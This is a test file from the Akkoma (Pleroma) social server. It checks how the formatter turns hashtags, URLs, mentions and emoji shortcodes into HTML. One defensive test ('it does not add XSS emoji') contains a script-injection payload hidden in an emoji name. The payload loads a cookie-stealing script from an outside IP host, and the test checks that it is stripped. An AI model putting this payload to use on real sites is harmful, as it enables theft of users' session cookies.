Merge branch 'bugfix/fix-mrf-reject-match' into 'develop'
[akkoma] / test / formatter_test.exs
1 defmodule Pleroma.FormatterTest do
2 alias Pleroma.Formatter
3 use Pleroma.DataCase
4
5 import Pleroma.Factory
6
7 describe ".add_hashtag_links" do
8 test "turns hashtags into links" do
9 text = "I love #cofe and #2hu"
10
11 expected_text =
12 "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
13
14 tags = Formatter.parse_tags(text)
15
16 assert expected_text ==
17 Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
18 end
19 end
20
21 describe ".add_links" do
22 test "turning urls into links" do
23 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
24
25 expected =
26 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
27
28 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
29
30 text = "https://mastodon.social/@lambadalambda"
31
32 expected =
33 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
34
35 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
36
37 text = "https://mastodon.social:4000/@lambadalambda"
38
39 expected =
40 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
41
42 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
43
44 text = "@lambadalambda"
45 expected = "@lambadalambda"
46
47 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
48
49 text = "http://www.cs.vu.nl/~ast/intel/"
50 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
51
52 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
53
54 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
55
56 expected =
57 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
58
59 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
60
61 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
62
63 expected =
64 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
65
66 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
67
68 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
69
70 expected =
71 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
72
73 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
74
75 text = "https://en.wikipedia.org/wiki/Duff's_device"
76
77 expected =
78 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
79
80 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
81
82 text = "https://pleroma.com https://pleroma.com/sucks"
83
84 expected =
85 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
86
87 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
88
89 text = "xmpp:contact@hacktivis.me"
90
91 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
92
93 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
94
95 text =
96 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
97
98 expected = "<a href=\"#{text}\">#{text}</a>"
99
100 assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
101 end
102 end
103
104 describe "add_user_links" do
105 test "gives a replacement for user links" do
106 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
107 gsimg = insert(:user, %{nickname: "gsimg"})
108
109 archaeme =
110 insert(:user, %{
111 nickname: "archaeme",
112 info: %{"source_data" => %{"url" => "https://archeme/@archaeme"}}
113 })
114
115 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
116
117 mentions = Pleroma.Formatter.parse_mentions(text)
118
119 {subs, text} = Formatter.add_user_links({[], text}, mentions)
120
121 assert length(subs) == 3
122 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
123
124 expected_text =
125 "<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
126 "https://archeme/@archaeme"
127 }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
128 archaeme_remote.ap_id
129 }'>@<span>archaeme</span></a></span>"
130
131 assert expected_text == Formatter.finalize({subs, text})
132 end
133
134 test "gives a replacement for single-character local nicknames" do
135 text = "@o hi"
136 o = insert(:user, %{nickname: "o"})
137
138 mentions = Formatter.parse_mentions(text)
139
140 {subs, text} = Formatter.add_user_links({[], text}, mentions)
141
142 assert length(subs) == 1
143 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
144
145 expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
146 assert expected_text == Formatter.finalize({subs, text})
147 end
148
149 test "does not give a replacement for single-character local nicknames who don't exist" do
150 text = "@a hi"
151
152 mentions = Formatter.parse_mentions(text)
153
154 {subs, text} = Formatter.add_user_links({[], text}, mentions)
155
156 assert length(subs) == 0
157 Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
158
159 expected_text = "@a hi"
160 assert expected_text == Formatter.finalize({subs, text})
161 end
162 end
163
164 describe ".parse_tags" do
165 test "parses tags in the text" do
166 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
167
168 expected = [
169 {"#Test", "test"},
170 {"#working", "working"},
171 {"#漢字", "漢字"},
172 {"#は", "は"}
173 ]
174
175 assert Formatter.parse_tags(text) == expected
176 end
177 end
178
179 test "it can parse mentions and return the relevant users" do
180 text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
181
182 gsimg = insert(:user, %{nickname: "gsimg"})
183 archaeme = insert(:user, %{nickname: "archaeme"})
184 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
185
186 expected_result = [
187 {"@gsimg", gsimg},
188 {"@archaeme", archaeme},
189 {"@archaeme@archae.me", archaeme_remote}
190 ]
191
192 assert Formatter.parse_mentions(text) == expected_result
193 end
194
195 test "it adds cool emoji" do
196 text = "I love :moominmamma:"
197
198 expected_result =
199 "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
200
201 assert Formatter.emojify(text) == expected_result
202 end
203
204 test "it does not add XSS emoji" do
205 text =
206 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
207
208 custom_emoji = %{
209 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
210 "https://placehold.it/1x1"
211 }
212
213 expected_result =
214 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
215
216 assert Formatter.emojify(text, custom_emoji) == expected_result
217 end
218
219 test "it returns the emoji used in the text" do
220 text = "I love :moominmamma:"
221
222 assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
223 end
224
225 test "it returns a nice empty result when no emojis are present" do
226 text = "I love moominamma"
227 assert Formatter.get_emoji(text) == []
228 end
229
230 test "it doesn't die when text is absent" do
231 text = nil
232 assert Formatter.get_emoji(text) == []
233 end
234 end